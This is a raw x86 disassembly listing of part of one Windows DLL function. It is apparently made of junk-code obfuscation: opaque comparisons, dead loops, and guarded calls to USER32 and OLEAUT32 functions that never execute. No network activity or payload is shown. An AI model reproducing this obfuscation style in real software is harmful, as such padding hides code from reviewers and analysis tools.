inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1003174a
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
test eax, eax
mov eax, dword [ebp - 0x18]
setns dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x18]
push edi
setle cl
xor edx, edx
sub eax, ecx
cmp eax, 0x2a10aa43
mov eax, dword [ebp - 0x18]
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
cmp dword [ebp - 0x18], ecx
jl 0x100318cc
mov dword [ebp - 0x54], 0x65cd
lea ecx, [ebp - 0x480]
call fcn.10017b3d
xor eax, eax
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x100317d8
push dword [ebp - 0x14]
lea ecx, [ebp - 0x480]
call fcn.10017bc7
mov dword [eax], 0x26a056eb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100317ba
xor eax, eax
push eax
lea ecx, [ebp - 0x480]
call fcn.10017bc7
mov ecx, dword [ebp - 0x18]
xor ebx, ebx
cmp dword [eax], ecx
lea ecx, [ebp - 0x480]
setl bl
xor eax, eax
push eax
call fcn.10017bc7
mov ecx, dword [ebp - 0x30]
mov esi, eax
xor eax, eax
cmp ebx, ecx
mov ecx, dword [ebp - 0x30]
setle al
xor edx, edx
neg ecx
cmp ecx, eax
setne dl
xor eax, eax
imul edx, dword [esi]
test edx, edx
jne 0x10031824
mov esi, eax
cmp dword [ebp - 0x30], eax
je 0x10031826
mov esi, edi
inc dword [ebp - 0x20]
lea ecx, [ebp - 0x784]
push eax
call fcn.10017bc7
cmp esi, 0x93765224
mov edx, 0xffff
sbb ecx, ecx
inc ecx
cmp edx, ecx
lea ecx, [ebp - 0x480]
sbb esi, esi
neg esi
add esi, dword [eax]
xor eax, eax
push eax
call fcn.10017bc7
xor ebx, ebx
lea ecx, [ebp - 0x480]
cmp esi, dword [eax]
setge bl
xor eax, eax
push eax
call fcn.10017bc7
xor ecx, ecx
cmp ebx, dword [eax]
setl cl
xor eax, eax
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0x784]
push eax
call fcn.10017bc7
mov edx, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, dword [eax]
mov edx, 0x8d7d2a7e
mov eax, dword [ebp - 0x20]
setg cl
xor ebx, ebx
sub edx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x54]
setle bl
sub ebx, 0xfffffffb
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, eax
setg cl
mov dword [ebp - 0x30], ecx
lea ecx, [ebp - 0x480]
call fcn.10017bc2
push 3
pop ebx
or esi, 0xffffffff
jmp 0x10031a0f
lea ecx, [ebp - 0xb4c]
call fcn.10017b3d
mov byte [ebp - 4], 0xb
xor eax, eax
mov dword [ebp - 0x24], 0x51cc0d68
mov dword [ebp - 0x2c], 0xfffffffe
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x2c], 0x7429
mov dword [ebp - 0x2c], 0xfffffff9
mov dword [ebp - 0x30], 0x4b46114a
mov dword [ebp - 0x68], edi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10031936
push dword [ebp - 0x14]
lea ecx, [ebp - 0xb4c]
call fcn.10017bc7
mov dword [eax], 0x424acdff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10031918
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1003194f
push eax
lea ecx, [ebp - 0xb4c]
call fcn.10017bc7
push 0
dec dword [eax]
dec dword [ebp - 0x18]
pop eax
cmp dword [ebp - 0x18], 0xfffffff7
jle 0x1003193b
mov eax, dword [ebp - 0x3c]
inc dword [ebp - 0x3c]
test eax, eax
jne 0x100319b1
mov dword [ebp - 0x28], eax
xor ecx, ecx
mov eax, dword [ebp - 0x40]
cmp eax, esi
mov eax, dword [ebp - 0x58]
setle cl
sub eax, ecx
mov ecx, 0xffff
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
cmp ecx, eax
sbb eax, eax
xor edx, edx
neg eax
sub eax, 0x15c408cd
mov dword [ebp - 0x58], eax
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp ecx, dword [ebp - 0x30]
jg 0x100319b1
xor eax, eax
mov esi, eax
jmp 0x100319b5
mov esi, edi
xor eax, eax
neg esi
lea ecx, [ebp - 0x784]
neg esi
push eax
sbb esi, esi
neg esi
call fcn.10017bc7
or ecx, 0xffffffff
xor edx, edx
mov dword [eax], ecx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x68]
imul ecx, esi
cmp ecx, eax
setl dl
xor eax, eax
cmp edx, 0xfffffffe
setg al
cmp eax, 0xfffffff7
mov eax, dword [ebp - 0x20]
sbb edx, edx
xor ecx, ecx
or esi, 0xffffffff
neg edx
cmp eax, esi
setg cl
xor eax, eax
cmp ecx, edx
lea ecx, [ebp - 0xb4c]
setne al
mov dword [ebp - 0x68], eax
call fcn.10017bc2
lea ecx, [ebp - 0x784]
mov dword [ebp - 4], esi
call fcn.10017bc2
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10031a31
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x8c4], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10031a24
dec dword [ebp - 0x4c]
jne 0x10031af0
mov eax, dword [ebp - 0x8c0]
xor eax, eax
cmp dword [ebp - 0x4c], eax
jne 0x10031a4f
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x6c]
xor ecx, ecx
cmp eax, edi
setle cl
cmp ecx, dword [ebp - 0x6c]
jle 0x10031a67
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x34], eax
je 0x10031a69
mov edx, edi
mov eax, dword [ebp - 0x60]
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x8c4], ecx
cmp ecx, dword [ebp - 0x44]
jge 0x10031af0
mov dword [ebp - 0x60], 0x28c2
mov eax, dword [ebp - 0x34]
xor eax, eax
cmp dword [ebp - 0x50], eax
je 0x10031ab0
mov eax, dword [ebp - 0x34]
mov ecx, edi
sub ecx, eax
cmp ecx, dword [ebp - 0x8c4]
jge 0x10031aa4
mov eax, dword [ebp - 0x8bc]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x60]
xor ecx, ecx
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x50]
cmp eax, edi
setg cl
xor eax, eax
mov dword [ebp - 0x48], ecx
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x10031b8b
push eax
push eax
push 0x21fb
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
jmp 0x10031b89
push edi
lea ecx, [ebp - 0x9fc]
call fcn.10017b3d
xor eax, eax
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10031b2b
push dword [ebp - 0x14]
lea ecx, [ebp - 0x9fc]
call fcn.10017bc7
mov dword [eax], 0xd5bb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10031b0d
xor eax, eax
mov dword [ebp - 0x30], 2
cmp dword [ebp - 0x30], eax
jl 0x10031b4d
push eax
lea ecx, [ebp - 0x9fc]
call fcn.10017bc7
push 0
dec dword [eax]
dec dword [ebp - 0x30]
pop eax
jns 0x10031b37
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10031b7b
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0x1188
push 0x43e
push 0x6e0
push 0xc46
xor eax, eax
push eax
call dword [sym.imp.USER32.dll_TrackPopupMenu]
lea ecx, [ebp - 0x9fc]
mov dword [ebp - 4], esi
call fcn.10017bc2
xor eax, eax
mov ecx, 0xfff8
mov dword [ebp - 0x44], ecx
push 8
pop ecx
mov dword [ebp - 0x7f4], ecx
mov dword [ebp - 0x7f0], ecx
mov dword [ebp - 0x7ec], ecx
mov dword [ebp - 0x7e8], ecx
mov dword [ebp - 0x44], 0x452fa814
mov dword [ebp - 0x48], 0x4974
mov dword [ebp - 0x5c], edi
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x10031bdb
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x84], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10031bc7
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10031bf1
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x8dc], 0xa7fe64fd
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10031be0
mov eax, dword [ebp - 0x84]
mov ecx, 0xfff6
mov eax, dword [ebp - 0x84]
xor eax, eax
cmp dword [ebp - 0x84], eax
je 0x10031c4f
mov eax, dword [ebp - 0x84]
cmp ecx, eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x8d8]
mov eax, dword [ebp - 0x44]
cmp eax, ecx
mov eax, dword [ebp - 0x7ec]
setg dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x84]
setg bl
xor ecx, ecx
cmp ebx, eax
setle cl
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x8d8]
mov eax, dword [ebp - 0x8d8]
mov eax, dword [ebp - 0x7f0]
mov eax, dword [ebp - 0x8d8]
mov eax, dword [ebp - 0x84]
xor eax, eax
cmp dword [ebp - 0x7ec], edi
jge 0x10031c7e
mov ecx, edi
cmp dword [ebp - 0x48], eax
je 0x10031c80
mov ecx, eax
xor eax, eax
cmp ecx, edi
push edi
setne al
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x5c], eax
call fcn.10017b3d
mov dword [ebp - 4], 0xd
xor eax, eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x5c], 0x90ce96f8
mov dword [ebp - 0x44], 0xfffffff9
mov dword [ebp - 0x44], 0xadd5d088
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x44], 0x39d3cd3
mov dword [ebp - 0x48], 0x688cdf2a
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10031cee
push dword [ebp - 0x14]
lea ecx, [ebp - 0x140]
call fcn.10017bc7
mov dword [eax], 0xa32b1cec
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10031cd0
xor eax, eax
push eax
lea ecx, [ebp - 0x140]
call fcn.10017bc7
mov eax, dword [ebp - 0x50]
lea ecx, [ebp - 0x140]
xor eax, eax
push eax
call fcn.10017bc7
mov esi, eax
lea ecx, [ebp - 0x140]
xor eax, eax
push eax
call fcn.10017bc7
mov esi, dword [esi]
lea ecx, [ebp - 0x140]
sub esi, dword [eax]
xor eax, eax
push eax
call fcn.10017bc7
xor ebx, ebx
lea ecx, [ebp - 0x140]
cmp esi, dword [eax]
setne bl
xor eax, eax
push eax
call fcn.10017bc7
xor ecx, ecx
cmp ebx, dword [eax]
setle cl
xor eax, eax
mov dword [ebp - 0x48], ecx
lea ecx, [ebp - 0x140]
push eax
call fcn.10017bc7
lea ecx, [ebp - 0x140]
mov esi, dword [eax]
xor eax, eax
imul esi, dword [ebp - 0x48]
push eax
call fcn.10017bc7
xor ecx, ecx
cmp esi, dword [eax]
mov eax, dword [ebp - 0x5c]
setne cl
add eax, ecx
xor ecx, ecx
cmp eax, 0xfffffffe
setl cl
xor eax, eax
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x140]
push eax
call fcn.10017bc7
mov ecx, dword [ebp - 0x44]
xor edx, edx
cmp ecx, dword [eax]
setne dl
xor eax, eax
mov dword [ebp - 0x44], edx
cmp dword [ebp - 0x44], eax
jne 0x10031dae
mov esi, eax
cmp dword [ebp - 0x50], eax
je 0x10031db0
mov esi, edi
push eax
lea ecx, [ebp - 0x140]
call fcn.10017bc7
xor ecx, ecx
mov eax, dword [eax]
imul eax, esi
cmp eax, 0xfffffffc
setne cl
xor eax, eax
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x140]
push eax
call fcn.10017bc7
mov ecx, dword [ebp - 0x44]
xor edx, edx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x50]
setle dl
sub edx, 0xfff
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
xor eax, eax
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x140]
push eax
call fcn.10017bc7
mov ecx, dword [ebp - 0x44]
xor edx, edx
sub ecx, 0x9efe
cmp ecx, dword [eax]
lea ecx, [ebp - 0x140]
setle dl
or esi, 0xffffffff
inc edx
mov dword [ebp - 0x48], edx
mov dword [ebp - 4], esi
call fcn.10017bc2
push 3
pop ebx
mov dword [ebp - 0x54], ebx
lea ecx, [ebp - 0xd7c]
mov dword [ebp - 0x2c], 0xfffffff8
mov dword [ebp - 0x2c], 0xfffffffe
push ebx
call fcn.10017b3d
mov dword [ebp - 4], 0xe
mov eax, 0xffff
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10031e86
push dword [ebp - 0x14]
lea ecx, [ebp - 0xd7c]
call fcn.10017bc7
mov dword [eax], 0x6158d32f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10031e68
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10031e96
push eax
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
dec dword [ebp - 0x44]
lea ecx, [ebp - 0xd7c]
mov dword [ebp - 4], esi
call fcn.10017bc2
xor eax, eax
mov ecx, 0x5b40194d
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x18], 0x7cb3f4f4
mov dword [ebp - 0x778], ecx
mov dword [ebp - 0x774], ecx
mov dword [ebp - 0x770], ecx
mov dword [ebp - 0x76c], ecx
mov dword [ebp - 0x30], 9
mov dword [ebp - 0x44], 0x53ebff78
mov dword [ebp - 0x4c], 0x31937da8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10031f05
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x748], 0x61f66568
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10031eed
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x10031f42
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10031f2a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x304], 0xb8f5f499
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10031f12
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10031f38
dec dword [ebp - 0x304]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x10031f2f
jmp 0x10032150
mov dword [ebp - 0x1c], 0xf5e4
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x50], 0x2e43232a
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x14], eax
jmp 0x10031f6c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2b8], 7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10031f5b
mov dword [ebp - 0x18], 0xfffffff4
cmp dword [ebp - 0x18], 0xfffffff2
jge 0x10032139
mov dword [ebp - 0x20], 0x59c4
mov dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x10031fac
mov eax, dword [ebp - 0x778]
mov dword [ebp - 0x14], eax
xor eax, eax
mov esi, eax
cmp dword [ebp - 0x14], eax
je 0x10031fae
mov esi, edi
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0x1c], 0x38eb
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10031fcb
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0x30], 0x42f3
xor edx, edx
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
setge dl
sub edx, 0x4def
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
add eax, 0x725fc1c6
add eax, esi
jne 0x10032061
cmp dword [ebp - 0x1c], eax
jne 0x10032063
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2b8]
mov eax, dword [ebp - 0x44]
imul eax, dword [ebp - 0x748], 0xd72d
mov dword [ebp - 0x24], eax
imul eax, dword [ebp - 0x24], 0xcc276dde
test eax, eax
je 0x10032037
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10032039
mov eax, edi
jmp 0x10032039
xor eax, eax
mov dword [ebp - 0x4c], eax
xor edx, edx
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x4c]
cmp eax, ecx
setg dl
mov dword [ebp - 0x50], edx
xor edx, edx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x50]
cmp eax, ecx
setle dl
mov dword [ebp - 0x48], edx
jmp 0x10032129
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x60], ecx
cmp dword [ebp - 0x14], eax
je 0x10032090
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x778], eax
test eax, eax
je 0x1003208e
mov esi, edi
jmp 0x10032092
xor eax, eax
mov esi, eax
mov eax, dword [ebp - 0x20]
xor edx, edx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x44], edi
mov ecx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x44]
setg dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x18]
setg cl
cmp ecx, 0xfa3ce724
sbb edx, edx
xor ecx, ecx
add edx, 0xa
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setne cl
sub eax, ecx
xor ecx, ecx
cmp eax, 0x77fc3fe7
setle cl
xor edx, edx
sub ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2b8]
cmp ecx, eax
mov eax, dword [ebp - 0x60]
setle dl
xor ecx, ecx
cmp edx, eax
sete cl
xor eax, eax
sub ecx, dword [ebp - 0x18]
cmp esi, ecx
setle al
sub eax, 0x7874d2d
add eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
imul eax, eax, 0x6eb5
mov dword [ebp - 0x4c], eax
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x4c]
neg edx
cmp edx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x50], ecx
cmp dword [ebp - 0x14], eax
jne 0x10032136
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff2
jl 0x10031f82
or esi, 0xffffffff
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x10032150
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
mov dword [ebp - 0x40], 0xbacd7953
lea ecx, [ebp - 0xeb0]
mov dword [ebp - 0x20], 0xfffffffe
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x48], 0xfffffffb
mov dword [ebp - 0x2c], 0xc77dcda7
mov dword [ebp - 0x2c], 0x7b09b37d
push edi
call fcn.10017b3d
mov dword [ebp - 4], 0xf
xor eax, eax
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x44], 0xfffffff9
push 2
mov dword [ebp - 0x18], eax
pop esi
cmp dword [ebp - 0x18], esi
jge 0x100321b8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2ec], 0x3342eb9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100321a0
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x100321de
push dword [ebp - 0x18]
lea ecx, [ebp - 0xeb0]
call fcn.10017bc7
mov dword [eax], 0xfffffffc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x100321c0
xor eax, eax
mov dword [ebp - 0x20], edi
cmp dword [ebp - 0x20], eax
jl 0x100322d3
mov dword [ebp - 0x30], 0x82eac453
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x2ec]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x4c], eax
xor eax, eax
cmp dword [ebp - 0x4c], eax
je 0x1003222f
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x100322ca
push eax
push 0x1937
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
jmp 0x100322ca
push 4
lea ecx, [ebp - 0x6c0]
call fcn.10017b3d
xor eax, eax
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x14], eax
jmp 0x10032258
push dword [ebp - 0x14]
call fcn.10017bc7
mov dword [eax], 0x6c902daf
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
lea ecx, [ebp - 0x6c0]
jl 0x10032247
push esi
call fcn.10017bc7
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x1003229d
push esi
lea ecx, [ebp - 0x6c0]
call fcn.10017bc7
xor eax, eax
cmp dword [ebp - 0x2ec], eax
jne 0x1003228c
cmp dword [ebp - 0x30], eax
je 0x1003228e
mov eax, edi
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x2e8]
mov eax, dword [ebp - 0x2ec]
push esi
lea ecx, [ebp - 0x6c0]
call fcn.10017bc7
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x6c0]
mov eax, dword [ebp + eax*4 - 0x2ec]
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 0xf
call fcn.10017bc2
dec dword [ebp - 0x20]
jns 0x100321ea
inc dword [ebp - 0x44]
lea ecx, [ebp - 0xeb0]
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10017bc2
mov dword [ebp - 0x30], edi
lea ecx, [ebp - 0x3e4]
mov dword [ebp - 0x18], 0xc0001115
push esi
call fcn.10017b3d
xor eax, eax
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x14], eax
jmp 0x1003231c
push dword [ebp - 0x14]
call fcn.10017bc7
mov dword [eax], 7
inc dword [ebp - 0x14]
lea ecx, [ebp - 0x3e4]
cmp dword [ebp - 0x14], esi
jl 0x1003230b
mov eax, dword [ebp - 0x18]
xor ebx, ebx
neg eax
cmp eax, edi
mov eax, dword [ebp - 0x18]
setge bl
sub ebx, eax
xor eax, eax
push eax
call fcn.10017bc7
xor ecx, ecx
mov dword [eax], ebx
mov eax, dword [ebp - 0x18]
cmp ebx, eax
sete cl
cmp ecx, dword [ebp - 0x18]
jg 0x10032364
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x10032364
push eax
lea ecx, [ebp - 0x3e4]
call fcn.10017bc7
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1003238e
push eax
lea ecx, [ebp - 0x3e4]
call fcn.10017bc7
cmp dword [eax], 0
je 0x1003238c
mov ecx, edi
jmp 0x10032390
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x18]
add eax, ecx
je 0x100323dd
mov dword [ebp - 0x2c], 0xc8f
lea ecx, [ebp - 0x3e4]
xor eax, eax
mov dword [ebp - 0x2c], 0x8bbd188
mov dword [ebp - 0x2c], 0xfffffff9
mov dword [ebp - 0x44], 0xbe26b5cf
push eax
call fcn.10017bc7
mov esi, eax
lea ecx, [ebp - 0x3e4]
xor eax, eax
push eax
call fcn.10017bc7
mov ecx, dword [esi]
push 2
pop esi
mov dword [eax], ecx
dec dword [ebp - 0x44]
jmp 0x100323ee
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x100323ee
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
or ebx, 0xffffffff
lea ecx, [ebp - 0x3e4]
mov dword [ebp - 4], ebx
call fcn.10017bc2
mov dword [ebp - 0x3c], 0xcbd94543
lea ecx, [ebp - 0x3b4]
push 4
call fcn.10017b3d
mov dword [ebp - 4], 0x12
xor eax, eax
mov dword [ebp - 0x1c], 0xfebaeef2
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x1003244d
push dword [ebp - 0x14]
lea ecx, [ebp - 0x3b4]
call fcn.10017bc7
mov dword [eax], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10032432
xor eax, eax
push 3
mov dword [ebp - 0x1c], eax
pop ebx
jmp 0x100326cb
mov dword [ebp - 0x60], 0xfffffffd
mov dword [ebp - 0x18], 0x81448718
push dword [ebp - 0x1c]
call fcn.10017bc7
cmp dword [eax], 0
je 0x100325f1
mov dword [ebp - 0x18], edi
xor eax, eax
mov dword [ebp - 0x48], 0x50169ff9
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], eax
jl 0x10032693
push edi
lea ecx, [ebp - 0x270]
call fcn.10017b3d
xor eax, eax
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x100324c6
push dword [ebp - 0x14]
lea ecx, [ebp - 0x270]
call fcn.10017bc7
or ecx, 0xffffffff
mov dword [eax], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100324a9
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x100324da
push eax
push eax
push eax
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
xor eax, eax
push eax
lea ecx, [ebp - 0x270]
call fcn.10017bc7
mov dword [eax], ebx
jmp 0x100325bd
xor eax, eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x5c], 0xb51404fc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10032519
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xc54], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10032501
xor eax, eax
push eax
lea ecx, [ebp - 0x270]
call fcn.10017bc7
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x270]
mov eax, dword [ebp - 0xc4c]
mov dword [ebp - 0x44], eax
xor eax, eax
push eax
call fcn.10017bc7
mov eax, dword [ebp - 0x44]
lea ecx, [ebp - 0x270]
dec dword [ebp - 0xc4c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x1c]
xor eax, eax
push eax
call fcn.10017bc7
push ebx
lea ecx, [ebp - 0x3b4]
call fcn.10017bc7
mov ecx, dword [ebp - 0x18]
xor edx, edx
test ecx, ecx
setns dl
imul edx, dword [eax]
test edx, edx
je 0x10032585
mov eax, dword [ebp - 0x18]
xor eax, eax
lea ecx, [ebp - 0x270]
push eax
call fcn.10017bc7
mov ecx, dword [ebp - 0x48]
cmp edi, ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, ebx
setle dl
imul ecx, edx, 0xf0bb
add ecx, dword [eax]
xor eax, eax
mov dword [ebp - 0x5c], ecx
lea ecx, [ebp - 0x270]
push eax
call fcn.10017bc7
dec dword [eax]
xor eax, eax
lea ecx, [ebp - 0x270]
push eax
call fcn.10017bc7
cmp dword [eax], 0
jge 0x100324ed
lea ecx, [ebp - 0x270]
mov byte [ebp - 4], 0x12
call fcn.10017bc2
dec dword [ebp - 0x18]
jns 0x1003248f
jmp 0x10032691
mov dword [ebp - 0x58], 6
xor eax, eax
mov dword [ebp - 0x50], edi
cmp dword [ebp - 0x58], eax
jne 0x10032631
mov eax, dword [ebp - 0x50]
lea ecx, [ebp - 0x3b4]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
push ebx
call fcn.10017bc7
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x3b4]
call fcn.10017bc7
push esi
lea ecx, [ebp - 0x3b4]
call fcn.10017bc7
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x18], eax
jge 0x10032644
xor eax, eax
cmp dword [ebp - 0x58], eax
je 0x10032646
mov eax, edi
jmp 0x10032646
xor eax, eax
mov edx, dword [ebp - 0x18]
imul edx, eax
mov eax, dword [ebp - 0x18]
push 8
pop ecx
sub ecx, eax
xor eax, eax
cmp ecx, edx
push 0xfffffffffffffffa
setne al
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x60]
